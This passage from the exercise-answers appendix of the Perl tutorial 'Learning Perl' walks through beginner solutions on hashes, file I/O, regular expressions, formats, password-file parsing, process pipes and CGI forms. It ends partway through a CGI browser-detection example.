    And here's how to do it with a list:

    foreach $number (0..32) {
    $square = $number * $number;
    printf "%5g %8g\n", $number, $square;
}

    These solutions both involve loops, using the for and foreach statements. The body of the loops are identical, because for both solutions, the value of $number proceeds from 0 to 32 on each iteration.

    The first solution uses a traditional C-like for statement. The three expressions respectively: set $number to 0, test to see if $number is less than or equal to 32, and increment $number on each iteration.

    The second solution uses a C-shell-like foreach statement. A list of 33 elements (0 to 32) is created, using the list contructor. The variable $number is then set to each element in turn.

Previous: A.2 Chapter 3, Arrays and List Data | Learning Perl | Next: A.4 Chapter 5, Hashes
A.2 Chapter 3, Arrays and List Data | Book Index | A.4 Chapter 5, Hashes


[Appendix A] A.4 Chapter 5, Hashes

Learning PerlSearch this book

A.4 Chapter 5, Hashes

  1. Here is one way to do it:

    %map = qw(red apple green leaves blue ocean);
print "A string please: "; chomp($some_string = <STDIN>);
print "The value for $some_string is $map{$some_string}\n";

    The first line creates the hash, giving it the desired key-value pairs. The second line fetches a string, removing the pesky newline. The third line prints the entered value and its mapped value.

    You can also create the hash through a series of separate assignments, like so:

    $map{'red'} = 'apple';
$map{'green'} = 'leaves';
$map{'blue'} = 'ocean';

  2. Here's one way to do it:

    chomp(@words = <STDIN>);               # read the words, minus newlines
foreach $word (@words) {
    $count{$word} = $count{$word} + 1; # or $count{$word}++
}
foreach $word (keys %count) {
    print "$word was seen $count{$word} times\n";
}

    The first line reads the lines into the @words array. Recall that this will cause each line to end up as a separate element of the array, with the newline character still intact.

    The next four lines step through the array, setting $word equal to each line in turn. The newline is discarded with chomp, and then the magic comes. Each word is used as a key into a hash. The value of the element selected by the key (the word) is a count of the number of times we've seen that word so far. Initially, there are no elements in the hash, so if the word wild is seen on the first line, we have $count{"wild"}, which is undef. The undef value plus one turns out to be zero plus one, or one. (Recall that undef looks like a zero if used as a number.) The next time through, we'll have one plus one, or two, and so on.

    Another common way to write the increment is given in the comments. Fluent Perl programmers tend to be lazy (we call it "concise") and would never go for writing the same hash reference on both sides of the assignment when a simple autoincrement will do.

    After the words have been counted, the last few lines step through the hash by looking at each of its keys one at a time. The key and the corresponding value are printed after having been interpolated into the string.

    The extra challenge answer looks like this answer, with the sort operator inserted just before the word keys on the third-to-last line. Without the sorting, the resulting output is seemingly random and unpredictable. However, once sorted, the output is predictable and consistent. (Personally, I rarely use the keys operator without also adding a sort immediately in front of it; this ensures that reruns over the same or similar data generate comparable results.)

Previous: A.3 Chapter 4, Control Structures | Learning Perl | Next: A.5 Chapter 6, Basic I/O
A.3 Chapter 4, Control Structures | Book Index | A.5 Chapter 6, Basic I/O


[Appendix A] A.5 Chapter 6, Basic I/O

Learning PerlSearch this book

A.5 Chapter 6, Basic I/O

  1. Here's one way to do it:

    print reverse <>;

    You may be surprised at the brevity of this answer, but it will get the job done. Here's what is happening, from the inside out:

    1. First, the reverse function is looking for a list for its arguments. This means that the diamond operator (<>) is being evaluated in a list context. Thus, all of the lines of the files named by command-line arguments (or standard input, if none are named) are read in and massaged into a list with one line per element.

    2. Next, the reverse function reverses the list end for end.

    3. Finally, the print function takes the resulting list, and displays it.

  2. Here's one way to do it:

    @ARGV = reverse @ARGV;
print reverse <>;
    The first line just takes any filename arguments and reverses them. That way if the user called this script with command line arguments "camel llama alpaca", @ARGV would then contain "alpaca llama camel" instead. The second line reads in all the lines in all the files in @ARGV, flips them end on end, and prints them. If no arguments were passed to the program, then as before, <> works on STDIN instead.

  3. Here's one way to do it:

    print "List of strings:\n";
chomp(@strings = <STDIN>);
foreach (@strings) {
    printf "%20s\n", $_;
}

    The first line prompts for a list of strings.

    The next line reads all of the strings into one array and gets rid of the newlines at the end of each line.

    The foreach loop steps through this array, giving $_ the value of each line.

    The printf function gets two arguments: the first argument defines the format: "%20s\n" means a 20-character right-justified column, followed by a newline.

  4. Here's one way to do it:

    print "Field width: ";
chomp($width = <STDIN>);
print "List of strings:\n";
chomp(@strings = <STDIN>);
foreach (@strings) {
    printf "%${width}s\n", $_;
}

    To the previous exercise answer, we've added a prompt and response for the field width.

    The other change is that the printf format string now contains a variable reference. The value of $width is included into the string before printf considers the format. Note that we cannot write this string as

    printf "%$widths\n", $_; # WRONG

    because then Perl would be looking for a variable named $widths, not a variable named $width to which we attach an s. Another way to write this is

    printf "%$width"."s\n", $_; # RIGHT

    because the termination of the string also terminates the variable name, protecting the following character from being sucked up into the name.

Previous: A.4 Chapter 5, Hashes | Learning Perl | Next: A.6 Chapter 7, Regular Expressions
A.4 Chapter 5, Hashes | Book Index | A.6 Chapter 7, Regular Expressions


[Appendix A] A.6 Chapter 7, Regular Expressions

Learning PerlSearch this book

A.6 Chapter 7, Regular Expressions

  1. Here are some possible answers:

    1. /a+b*/

    2. /\\*\**/ (Remember that the backslash cancels the meaning of the special character following.)

    3. /($whatever){3}/ (You must have the parentheses, or else the multiplier applies only to the last character of $whatever; this also fails if $whatever has special characters.)

    4. /[\000-\377]{5}/ or /(.|\n){5}/ (You can't use dot alone here, because dot doesn't match newline.)

    5. /(^|\s)(\S+)(\s+\2)+(\s|$)/ (\S is nonwhitespace, and \2 is a reference to whatever the "word" is; the caret or whitespace alternative ensures that the \S+ begins at a whitespace boundary.)

    1. One way to do this is:

      while (<STDIN>) {
    if (/a/i && /e/i && /i/i && /o/i && /u/i) {
        print;
    }
}

      Here, we have an expression consisting of five match operators. These operators are all looking at the contents of the $_ variable, which is where the control expression of the while loop is putting each line. The match operator expression will be true only when all five vowels are found.

      Note that as soon as any of the five vowels are not found, the remainder of the expression is skipped, because the && operator doesn't evaluate its right argument if the left argument is false.

    2. Another way to do this is:

      while (<STDIN>) {
    if (/a.*e.*i.*o.*u/i) {
        print;
    }
}

      This answer turns out to be easier than the other part of this exercise. Here we have a simple regular expression that looks for the five vowels in sequence, separated by any number of characters.

    3. One way to do this is:

      while (<>) {
    print if
        (/^[^aeiou]*a[^eiou]*e[^aiou]*i[^aeou]*o[^aeiu]*u[^aeio]*$ );
    }

      Ugly, but it works. To construct this, just think "What can go between the beginning of the line, and the first a?," and then "What can go between the first a and the first e?" Eventually, it all works itself out, with a little assistance from you.

  3. One way to do this is:

    while (<STDIN>) {
    chomp;
    ($user, $gcos) = (split /:/)[0,4];
    ($real) = split(/,/, $gcos);
    print "$user is $real\n";
}

    The outer while loop reads one line at a time from the password-format file into the $_ variable, terminating when there are no more lines to be read.

    The second line of the while loop body breaks the line apart by colons, saving two of the seven values into individual scalar variables with hopefully meaningful names.

    The GCOS field (the fifth field) is then split apart by commas, with the resulting list assigned to a single scalar variable enclosed in parentheses. The parentheses are important: they make this assignment an array assignment rather than a scalar assignment. The scalar variable $real gets the first element of the list, and the remaining elements are discarded.

    The print statement then displays the results.

  4. One way to do this is:

    while (<STDIN>) {
    chomp;
    ($gcos) = (split /:/)[4];
    ($real) = split(/,/, $gcos);
    ($first) = split(/\s+/, $real);
    $seen{$first}++;
}
foreach (keys %seen) {
    if ($seen{$_} > 1) {
        print "$_ was seen $seen{$_} times\n";
    }
}

    The while loop works a lot like the while loop from the previous exercise. In addition to splitting the line apart into fields and the GCOS field apart into the real name (and other parts), this loop also splits apart the real name into a first name (and the rest). Once the first name is known, a hash element in %seen is incremented, noting that we've seen a particular first name. Note that this loop doesn't do any print'ing.

    The foreach loop steps through all of the keys of %seen (the first names from the password file), assigning each one to $_ in turn. If the value stored in %seen at a given key is greater than 1, we've seen the first name more than once. The if statement tests for this, and prints a message if so.

  5. One way to do this is:

    while (<STDIN>) {
    chomp;
    ($user, $gcos) = (split /:/)[0,4];
    ($real) = split /,/, $gcos;
    ($first) = split /\s+/, $real;
    $names{$first} .= " $user";
}
foreach (keys %names) {
    $this = $names{$_};
    if ($this =~ /. /) {
        print "$_ is used by:$this\n";
    }
}

    This program is like the previous exercise answer, but instead of merely keeping a count, we append the login name of the user to the %names element that has a key of the first name. Thus, for Fred Rogers (login mrrogers), $names{"Fred"} becomes " mrrogers", and when Fred Flintstone (login fred) comes along, we get $names{"Fred"} as " mrrogers fred". After the loop is complete, we have a mapping of all of the first names to all of the users that have them.

    The foreach loop, like the previous exercise answer, then steps through the resulting hash. However, rather than testing a hash element value for a number greater than one, we must see now if there is more than one login name in the value. We do this by saving the value into a scalar variable $this and then seeing if the value has a space after any character. If so, the first name is shared, and the resulting message tells which logins share that first name.

Previous: A.5 Chapter 6, Basic I/O | Learning Perl | Next: A.7 Chapter 8, Functions
A.5 Chapter 6, Basic I/O | Book Index | A.7 Chapter 8, Functions


[Appendix A] A.7 Chapter 8, Functions

Learning PerlSearch this book

A.7 Chapter 8, Functions

  1. Here's one way to do it:

    sub card {
    my %card_map;
    @card_map{1..9} = qw(
        one two three four five six seven eight nine
    );

    my($num) = @_;
    if ($card_map{$num}) {
       return $card_map{$num};
    } else {
      return $num;
    }
}
# driver routine:
while (<>) {
    chomp;
    print "card of $_ is ", &card($_), "\n";
}

    The &card subroutine (so named because it returns a cardinal name for a given value) begins by initializing a constant hash called %card_map. This array has values such that $card_map{6} is six, making it fairly easy to do the mapping.

    The if statement determines if the value is in range by looking the number up in the hash: if there's a corresponding hash element, the test is true, so that array element is returned. If there's no corresponding element (such as when $num is 11 or -4), the value returned from the hash lookup is undef, so the else-branch of the if statement is executed, returning the original number. You can also replace that entire if statement with the single expression:

    $card_map{$num} || $num;

    If the value on the left of the || is true, it's the value for the entire expression, which then gets returned. If it's false (such as when $num is out of range), the right side of the || operator is evaluated, returning $num as the return value.

    The driver routine takes successive lines, chomping off their newlines, and hands them one at a time to the &card routine, printing the result.

  2. Here's one way to do it:

    sub card { ...; } # from previous problem
print "Enter first number: ";
chomp($first = <STDIN>);
print "Enter second number: ";
chomp($second = <STDIN>);
$message = card($first) . " plus " .
    card($second) . " equals " .
    card($first+$second) . ".\n";
print "\u$message";

    The first two print statements prompt for two numbers, with the immediately following statements reading the values into $first and $second.

    A string called $message is then built up by calling &card three times, once for each value and once for the sum.

    Once the message is constructed, its first character is uppercased by the case-shifting backslash operator \u. The message is then printed.

  3. Here's one way to do it:

    sub card {
    my %card_map;
    @card_map{0..9} = qw(
        zero one two three four five six seven eight nine
    );

    my($num) = @_;
    my($negative);
    if ($num < 0) {
        $negative = "negative ";
        $num = - $num;
    }
    if ($card_map{$num}) {
        return $negative . $card_map{$num};
    } else {
        return $negative . $num;
    }
}

    Here, we've given the %card_map array a name for zero.

    The first if statement inverts the sign of $num and sets $negative to the word negative, if the number is found to be less than zero. After this if statement, the value of $num is always nonnegative, but we will have an appropriate prefix string in $negative.

    The second if statement determines if the (now positive) $num is within the hash. If so, the resulting hash value is appended to the prefix within $negative and returned. If not, the value within $negative is attached to the original number.

    That last if statement can be replaced with the expression:

      $negative . ($card_map{$num} || $num);

Previous: A.6 Chapter 7, Regular Expressions | Learning Perl | Next: A.8 Chapter 9, Miscellaneous Control Structures
A.6 Chapter 7, Regular Expressions | Book Index | A.8 Chapter 9, Miscellaneous Control Structures


[Appendix A] A.8 Chapter 9, Miscellaneous Control Structures

Learning PerlSearch this book

A.8 Chapter 9, Miscellaneous Control Structures

  1. Here's one way to do it:

    sub card {} # from previous exercise

while () { ## NEW ##
    print "Enter first number: ";
    chomp($first = <STDIN>);
    last if $first eq "end"; ## NEW ##

    print "Enter second number: ";
    chomp($second = <STDIN>);
    last if $second eq "end"; ## NEW ##

    $message = &card($first) . " plus " .
        card($second) . " equals " .
        card($first+$second) . ".\n";
    print "\u$message";
} ## NEW ##

    Note the addition of the while loop and the two last operators. That's it!

  2. Here's one way to do it:

    {
  print "Enter a number (999 to quit): ";
  chomp($n = <STDIN>);
  last if $n == 999;
  $sum += $n;
  redo;
}

print "the sum is $sum\n";
    We're using a naked block with a redo and a last to get things done this time. Start by printing the prompt and grabbing the number. If it's 999, exit the block with last and print out the sum on exit. Otherwise, we add to our running total and use redo to execute the block again.

Previous: A.7 Chapter 8, Functions | Learning Perl | Next: A.9 Chapter 10, Filehandles and File Tests
A.7 Chapter 8, Functions | Book Index | A.9 Chapter 10, Filehandles and File Tests


[Appendix A] A.9 Chapter 10, Filehandles and File Tests

Learning PerlSearch this book

A.9 Chapter 10, Filehandles and File Tests

  1. Here's one way to do it:

    print "What file? ";
chomp($filename = <STDIN>);
open(THATFILE, "$filename") ||
    die "cannot open $filename: $!";
while (<THATFILE>) {
    print "$filename: $_"; # presume $_ ends in \n
}

    The first two lines prompt for a filename, which is then opened with the filehandle THATFILE. The contents of the file are read using the filehandle and printed to STDOUT.

  2. Here's one way to do it:

    print "Input file name: ";
chomp($infilename = <STDIN>);
print "Output file name: ";
chomp($outfilename = <STDIN>);
print "Search string: ";
chomp($search = <STDIN>);
print "Replacement string: ";
chomp($replace = <STDIN>);
open(IN,$infilename) ||
    die "cannot open $infilename for reading: $!";
## optional test for overwrite...
die "will not overwrite $outfilename" if -e $outfilename;
open(OUT,">$outfilename") ||
    die "cannot create $outfilename: $!";
while (<IN>) {    # read a line from file IN into $_
    s/$search/$replace/g; # change the lines
    print OUT $_; # print that line to file OUT
}
close(IN);
close(OUT);

    This program is based on the file-copying program presented earlier in the chapter. New features here include prompting for the strings and the substitute command in the middle of the while loop, as well as the test for overwriting a file.

    Note that backreferences in the regular expression do work, but referencing memory in the replacement string does not.

  3. Here's one way to do it:

    while (<>) {
    chomp; # eliminate the newline
    print "$_ is readable\n" if -r;
    print "$_ is writable\n" if -w;
    print "$_ is executable\n" if -x;
    print "$_ does not exist\n" unless -e;
}

    This while loop reads a filename each time through. After discarding the newline, the series of statements tests the file for the various permissions.

  4. Here's one way to do it:

    while (<>) {
    chomp;
    $age = -M;
    if ($oldest_age < $age) {
        $oldest_name = $_;
        $oldest_age = $age;
    }
}
print "The oldest file is $oldest_name ",
    "and is $oldest_age days old.\n";

    First, we loop on each filename being read in. The newline is discarded, and then the age in days gets computed with the -M operator. If the age for this file exceeds the oldest file we've seen so far, we remember the filename and its corresponding age. Initially, $oldest_age will be 0, so we're counting on there being at least one file that is more than 0 days old.

    The final print statement generates the report when we're done.

Previous: A.8 Chapter 9, Miscellaneous Control Structures | Learning Perl | Next: A.10 Chapter 11, Formats
A.8 Chapter 9, Miscellaneous Control Structures | Book Index | A.10 Chapter 11, Formats


[Appendix A] A.10 Chapter 11, Formats

Learning PerlSearch this book

A.10 Chapter 11, Formats

  1. Here's one way to do it:

    open(PW,"/etc/passwd") || die "How did you get logged in?";
while (<PW>) {
    ($user,$uid,$gcos) = (split /:/)[0,2,4];
    ($real) = split /,/,$gcos;
    write;
}
format STDOUT =
@<<<<<<< @>>>>>> @<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$user, $uid, $real
.

    The first line opens the password file. The while loop processes the password file line by line. Each line is torn apart (with colon delimiters), loading up the scalar variables. The real name of the user is pulled out of the GCOS field. The final statement of the while loop invokes write to display all of the data.

    The format for the STDOUT filehandle defines a simple line with three fields. The values come from the three scalar variables that are given values in the while loop.

  2. Here's one way to do it:

    # append to program from the first problem...
format STDOUT_TOP =
Username User ID Real Name
======== ======= =========
.

    All it takes to get page headers for the previous program is to add a top-of-page format. Here, we put column headers on the columns.

    To get the columns to line up, we copied the text of format STDOUT and used overstrike mode in our text editor to replace @<<< fields with ==== bars. That's the nice thing about the one-character-to-one-character correspondence between a format and the resulting display.

  3. Here's one way to do it:

    # append to program from the first problem...
format STDOUT_TOP =
Page @<<<
$%

Username User ID Real Name
======== ======= =========
.

    Well, here again, to get stuff at the top of the page, I've added a top-of-page format. This format also contains a reference to $%, which gives me a page number automatically.

Previous: A.9 Chapter 10, Filehandles and File Tests | Learning Perl | Next: A.11 Chapter 12, Directory Access
A.9 Chapter 10, Filehandles and File Tests | Book Index | A.11 Chapter 12, Directory Access


[Appendix A] A.11 Chapter 12, Directory Access

Learning PerlSearch this book

A.11 Chapter 12, Directory Access

  1. Here's one way to do it:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) || die "Cannot chdir to $newdir: $!";
foreach (<*>) {
    print "$_\n";
}

    The first two lines prompt for and read the name of the directory.

    The third line attempts to change directory to the given name, aborting if this isn't possible.

    The foreach loop steps through a list. But what's the list? It's the glob in a list context, which expands to a list of all of the filenames that match the pattern (here, *).

  2. Here's one way to do it, with a directory handle:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) ||
    die "Cannot chdir to $newdir: $!";
opendir(DOT,".") ||
    die "Cannot opendir . (serious dainbramage): $!";
foreach (sort readdir(DOT)) {
        print "$_\n";
    }
closedir(DOT);

    Just like the previous program, we prompt and read a new directory. Once we've chdir'ed there, we open the directory, creating a directory handle named DOT. In the foreach loop, the list returned by readdir (in a list context) is sorted, and then stepped through, assigning each element to $_ in turn.

    And here's how to do it with a glob instead:

    print "Where to? ";
chomp($newdir = <STDIN>);
chdir($newdir) || die "Cannot chdir to $newdir: $!";
foreach (sort <* .*>) {
    print "$_\n";
}

    Yes, it's basically the other program from the previous exercise, but I've added a sort operator in front of the glob and also added .* to the glob to pick up the files that begin with dot. We need the sort because a file named !fred belongs before the dot files, but barney belongs after them, and there isn't an easy shell glob that can get them all in the proper sequence.

Previous: A.10 Chapter 11, Formats | Learning Perl | Next: A.12 Chapter 13, File and Directory Manipulation
A.10 Chapter 11, Formats | Book Index | A.12 Chapter 13, File and Directory Manipulation


[Appendix A] A.12 Chapter 13, File and Directory Manipulation

Learning PerlSearch this book

A.12 Chapter 13, File and Directory Manipulation

  1. Here's one way to do it:

    unlink @ARGV;

    Yup, that's it. The @ARGV array is a list of names to be removed. The unlink operator takes a list of names, so we just marry the two, and we're done.

    Of course, this doesn't handle error reporting, or the -f or -i options, or anything like that, but that'd just be gravy. If you did that, good!

  2. Here's one way to do it:

    ($old, $new) = @ARGV; # name them
if (-d $new) { # new name is a directory, need to patch it up
    ($basename = $old) =~ s#.*/##s; # get basename of $old
    $new .= "/$basename"; # and append it to new name
}
rename($old,$new) || die "Cannot rename $old to $new: $!";

    The workhorse in this program is the last line, but the remainder of the program is necessary for the case where the name we are renaming to is a directory.

    First, we give understandable names to the two elements of @ARGV. Then, if the $new name is a directory, we need to patch it by adding the basename of the $old name to the end of the new name. This means that renaming /usr/src/fred to /etc results in really renaming /usr/src/fred to /etc/fred.

    Finally, once the basename is patched up, we're home free, with a rename invocation.

  3. Here's one way to do it:

    ($old, $new) = @ARGV; # name them
if (-d $new) { # new name is a directory, need to patch it up
    ($basename = $old) =~ s#.*/##s; # get basename of $old
    $new .= "/$basename"; # and append it to new name
}
link($old,$new) || die "Cannot link $old to $new: $!";

    This program is identical to the previous program except for the very last line, because we're linking, not renaming.

  4. Here's one way to do it:

    if ($ARGV[0] eq "-s") { # wants a symlink
    $symlink++; # remember that
    shift(@ARGV); # and toss the -s flag
}
($old, $new) = @ARGV; # name them
if (-d $new) { # new name is a directory, need to patch it up
    ($basename = $old) =~ s#.*/##s; # get basename of $old
    $new .= "/$basename"; # and append it to new name
}
if ($symlink) { # wants a symlink
    symlink($old,$new);
} else { # wants a hard link
    link($old,$new);
}

    The middle of this program is the same as the previous two exercises. What's new is the first few lines and the last few lines.

    The first few lines look at the first argument to the program. If this argument is -s, the scalar variable $symlink is incremented, resulting in a value of 1 for the variable. The @ARGV array is then shifted, removing the -s flag. If the -s flag isn't present, there's nothing to be done, and $symlink will remain undef. Shifting the @ARGV array occurs frequently enough that the @ARGV array is the default argument for shift; that is, we could have said:

      shift;

    in place of

      shift(@ARGV);

    The last few lines look at the value of $symlink. It's going to be either 1 or undef, and based on that, we either symlink the files or link them.

  5. Here's one way to do it:

    foreach $f (<*>) {
    print "$f -> $where\n" if defined($where = readlink($f));
}

    The scalar variable $f is set in turn to each of the filenames in the current directory. For each name, $where gets set to the readlink() of that name. If the name is not a symlink, the readlink operator returns undef, yielding a false value for the if test, and the print is skipped. But when the readlink operator returns a value, the print displays the source and destination symlink values.

Previous: A.11 Chapter 12, Directory Access | Learning Perl | Next: A.13 Chapter 14, Process Management
A.11 Chapter 12, Directory Access | Book Index | A.13 Chapter 14, Process Management


[Appendix A] A.13 Chapter 14, Process Management

Learning PerlSearch this book

A.13 Chapter 14, Process Management

  1. Here's one way to do it:

    if (`date` =~ /^S/) {
    print "Go play!\n";
} else {
    print "Get to work!\n";
}

    It just so happens that the first output character of the date command is an S only on the weekend (Sat or Sun), which makes this program trivial. We invoke date, then use a regular expression to see if the first character is an S. Based on that, we print one message or the other.

  2. Here's one way to do it:

    open(PW,"/etc/passwd");
while (<PW>) {
    chomp;
    ($user,$gcos) = (split /:/)[0,4];
    ($real) = split(/,/, $gcos);
    $real{$user} = $real;
}
close(PW);

open(WHO,"who|") || die "cannot open who pipe";
while (<WHO>) {
    ($login, $rest) = /^(\S+)\s+(.*)/;
    $login = $real{$login} if $real{$login};
    printf "%-30s %s\n",$login,$rest;
}

    The first loop creates a hash %real that has login names for keys and the corresponding real names as values. This hash is used in the following loop to change the login name into a real name.

    The second loop scans through the output resulting from opening the who command as a filehandle. Each line of who's output is broken apart using a regular expression match in a list context. The first word of the line (the login name) is replaced with the real name from the hash, but only if it exists. When that's all done, a nice printf puts the result onto STDOUT.

    You can replace the filehandle open and the beginning of the loop with just

    foreach $_ (`who`) {

    to accomplish the same result. The only difference is that the version with the filehandle can begin operating as soon as who starts spitting out characters, while the version with who in backquotes must wait for who to finish.

  3. Here's one way to do it:

    open(PW,"/etc/passwd");
while (<PW>) {
    chomp;
    ($user,$gcos) = (split /:/)[0,4];
    ($real) = split(/,/, $gcos);
    $real{$user} = $real;
}
close(PW);

open(LPR,"|lpr") || die "cannot open LPR pipe";
open(WHO,"who|") || die "cannot open who pipe";
while (<WHO>) {
# or replace previous two lines with: foreach $_ (`who`) {
    ($login, $rest) = /^(\S+)\s+(.*)/;
    $login = $real{$login} if $real{$login};
    printf LPR "%-30s %s\n",$login,$rest;
}

    The difference between this program and the program from the previous exercise is that we've added an LPR filehandle opened onto an lpr process, and modified the printf statement to send the data there instead of STDOUT.

  4. Here's one way to do it:

    sub mkdir {
    !system "/bin/mkdir", @_;
}

    Here, the mkdir command is given the arguments directly from the arguments to the subroutine. The return value must be logically negated, however, because a nonzero exit status from system must translate into a false value for the Perl caller.

  5. Here's one way to do it:

    sub mkdir {
    my($dir, $mode) = @_;
    (!system "/bin/mkdir", $dir) && chmod($mode, $dir);
}

    First, the arguments to this routine are named as $dir and $mode. Next, we invoke mkdir on the directory named by $dir. If that succeeds, the chmod operator gives the proper mode to the directory.

Previous: A.12 Chapter 13, File and Directory Manipulation | Learning Perl | Next: A.14 Chapter 15, Other Data Transformation
A.12 Chapter 13, File and Directory Manipulation | Book Index | A.14 Chapter 15, Other Data Transformation


[Appendix A] A.14 Chapter 15, Other Data Transformation

Learning PerlSearch this book

A.14 Chapter 15, Other Data Transformation

  1. Here's one way to do it:

    while (<>) {
    chomp;
    $slash = rindex($_,"/");
    if ($slash > -1) {
        $head = substr($_,0,$slash);
        $tail = substr($_,$slash+1);
    } else {
        ($head,$tail) = ("", $_);
    }
    print "head = '$head', tail = '$tail'\n";
}

    Each line read by the diamond operator is first chomped (tossing the newline). Next we look for the rightmost slash in the line, using rindex(). The next two lines break the string apart using substr(). If there's no slash, the result of the rindex is -1, so we hack around that. The final line within the loop prints the results.

  2. Here's one way to do it:

    chomp(@nums = <STDIN>); # note special use of chomp
@nums = sort { $a <=> $b } @nums;
foreach (@nums) {
    printf "%30g\n", $_;
}

    The first line grabs all of the numbers into the @nums array. The second line sorts the array numerically, using an inline definition for a sorting order. The foreach loop prints the results.

  3. Here's one way to do it:

    open(PW,"/etc/passwd") || die "How did you get logged in?";
while (<PW>) {
    chomp;
    ($user, $gcos) = (split /:/)[0,4];
    ($real) = split(/,/, $gcos);
    $real{$user} = $real;
    ($last) = (split /\s+/, $real)[-1];
    $last{$user} = "\L$last";
}
close(PW);

for (sort by_last keys %last) {
    printf "%30s %8s\n", $real{$_}, $_;
}

sub by_last { ($last{$a} cmp $last{$b}) || ($a cmp $b) }

    The first loop creates %last hash, consisting of login names for keys and user's last names for the corresponding values, and the %real hash, containing the full real names instead. The last names are all converted to lowercase, so that FLINTSTONE, Flintstone, and flintstone all sort near each other.

    The second loop prints %real out, ordered by the values of %last, using the sort definition presented in by_last subroutine.

  4. Here's one way to do it:

    while (<>) {
    substr($_,0,1) =~ tr/a-z/A-Z/;
    substr($_,1) =~ tr/A-Z/a-z/;
    print;
}

    For each line read by the diamond operator, we use two tr operators, each on a different portion of the string. The first tr operator uppercases the first character of the line, and the second tr operator lowercases the remainder. The result is printed.

    Here's another way to do this, using only double-quoted string operators:

    while (<>) {
    print "\u\L$_";
}

    Give yourself an extra five points if you thought of that instead.

Previous: A.13 Chapter 14, Process Management | Learning Perl | Next: A.15 Chapter 16, System Database Access
A.13 Chapter 14, Process Management | Book Index | A.15 Chapter 16, System Database Access


[Appendix A] A.15 Chapter 16, System Database Access

Learning PerlSearch this book

A.15 Chapter 16, System Database Access

  1. Here's one way to do that:

    $: = " ";
while (@pw = getpwent) {
    ($user, $gid, $gcos) = @pw[0,3,6];
    ($real) = split /,/, $gcos;
    $real{$user} = $real;
    $members{$gid} .= " $user";
    ($last) = (split /\s+/, $real)[-1];
    $last{$user} = "\L$last";
}

while (@gr = getgrent) {
    ($gname,$gid,$members) = @gr[0,2,3];
    $members{$gid} .= " $members";
    $gname{$gid} = $gname;
}

for $gid (sort by_gname keys %gname) {
    %all = ();
    for (split(/\s+/, $members{$gid})) {
        $all{$_}++ if length $_;
    }
    @members = ();
    foreach (sort by_last keys %all) {
        push(@members, "$real{$_} ($_)");
    }
    $memberlist = join(", ", @members);
    write;
}

sub by_gname { $gname{$a} cmp $gname{$b}; }
sub by_last { ($last{$a} cmp $last{$b}) || ($a cmp $b); }

format STDOUT =
@<<<<<<<< @<<<<<<<< ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$gname{$gid}, "($gid)", $memberlist
~~                  ^<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<
$memberlist
.

    Yes, this one needs some explaining.

Previous: A.14 Chapter 15, Other Data Transformation | Learning Perl | Next: A.16 Chapter 17, User Database Manipulation
A.14 Chapter 15, Other Data Transformation | Book Index | A.16 Chapter 17, User Database Manipulation


[Appendix A] A.16 Chapter 17, User Database Manipulation

Learning PerlSearch this book

A.16 Chapter 17, User Database Manipulation

  1. Here's one way to do it:

    dbmopen(%ALIAS, "/etc/aliases", undef) ||
    die "No aliases!: $!";
while (($key,$value) = each(%ALIAS)) {
    chop($key,$value);
    print "$key $value\n";
}

    The first line opens the aliases DBM. (Your system may keep the aliases DBM in /usr/lib/aliases instead - try that if this doesn't work.) The while loop steps through the DBM array. The first line within the loop chops off the NUL character from the end of the key and the value. The final line of the loop prints out the result.

  2. Here's one way to do it:

    # program 1:
dbmopen(%WORDS,"words",0644);
while (<>) {
    foreach $word (split(/\W+/)) {
        $WORDS{$word}++;
    }
}
dbmclose(%WORDS);

    The first program (the writer) opens a DBM in the current directory called words, creating files named words.dir and words.pag. The while loop grabs each line using the diamond operator. This line is split apart using the split operator, with a delimiter of /\W+/, meaning nonword characters. Each word is then counted into the DBM array, using the foreach statement to step through the words:

    # program 2:
dbmopen(%WORDS,"words",undef);
foreach $word (sort { $WORDS{$b} <=> $WORDS{$a} } keys %WORDS) {
    print "$word $WORDS{$word}\n";
}
dbmclose(%WORDS);

    The second program opens a DBM in the current directory called words. That complicated looking foreach line does most of the dirty work. The value of $word each time through the loop will be the next element of a list. The list is the sorted keys from %WORDS, sorted by their values (the count) in descending order. For each word in the list, we print the word and the number of times the word has occurred.

Previous: A.15 Chapter 16, System Database Access | Learning Perl | Next: A.17 Chapter 18, Converting Other Languages to Perl
A.15 Chapter 16, System Database Access | Book Index | A.17 Chapter 18, Converting Other Languages to Perl


[Appendix A] A.17 Chapter 18, Converting Other Languages to Perl

Learning PerlSearch this book

A.17 Chapter 18, Converting Other Languages to Perl

  1. Here's one way to do it:

    for (;;) {
    ($user,$home) = (getpwent)[0,7];
    last unless $user;
    next unless open(N,"$home/.newsrc");
    next unless -M N < 30; ## added value :-)
    while (<N>) {
        if (/^comp\.lang\.perl\.announce:/) {
            print "$user is a good person, ",
            "and reads comp.lang.perl.announce!\n";
            last;
        }
    }
}

    The outermost loop is a for loop that runs forever; this loop gets exited by the last operator inside, however. Each time through the loop, a new value for $user (a username) and $home (their home directory) is fetched using the getpwent operator.

    If the value of $user is empty, the for loop exits. The next two lines look for a recent .newsrc file in the user's home directory. If the file cannot be opened, or the modification time of the file is too distant, the next iteration of the for loop is triggered.

    The while loop reads a line at a time from the .newsrc file. If the line begins with comp.lang.perl.announce:, the print statement says so, and the while loop is exited early.

Previous: A.16 Chapter 17, User Database Manipulation | Learning Perl | Next: A.18 Chapter 19, CGI Programming
A.16 Chapter 17, User Database Manipulation | Book Index | A.18 Chapter 19, CGI Programming


[Appendix A] A.18 Chapter 19, CGI Programming

Learning PerlSearch this book

A.18 Chapter 19, CGI Programming

  1. Here's one way to do it:

    use strict;
use CGI qw(:standard);

print header(), start_html("Add Me");
print h1("Add Me");
if(param()) {
    my $n1 = param('field1');
    my $n2 = param('field2');
    my $n3 = $n2 + $n1;
    print p("$n1 + $n2 = <strong>$n3</strong>\n");
} else {
    print hr(), start_form();
    print p("First Number:", textfield("field1"));
    print p("Second Number:", textfield("field2"));
    print p(submit("add"), reset("clear"));
    print end_form(), hr();
}
print end_html();

    If there's no input, simply generate a form with two textfields (using the textfield method). If there is input, we add the two fields together and print the result.

  2. Here's one way to do it:

    use strict;
use CGI qw(:standard);

print header(), start_html("Browser Detective");
print h1("Browser Detective"), hr();
my $browser = $ENV{'HTTP_USER_AGENT'};
$_ = $browser;

BROWSER:{
    if (/msie/i) {
            msie($_);
    } elsif (/mozilla/i) {
            netscape($_);
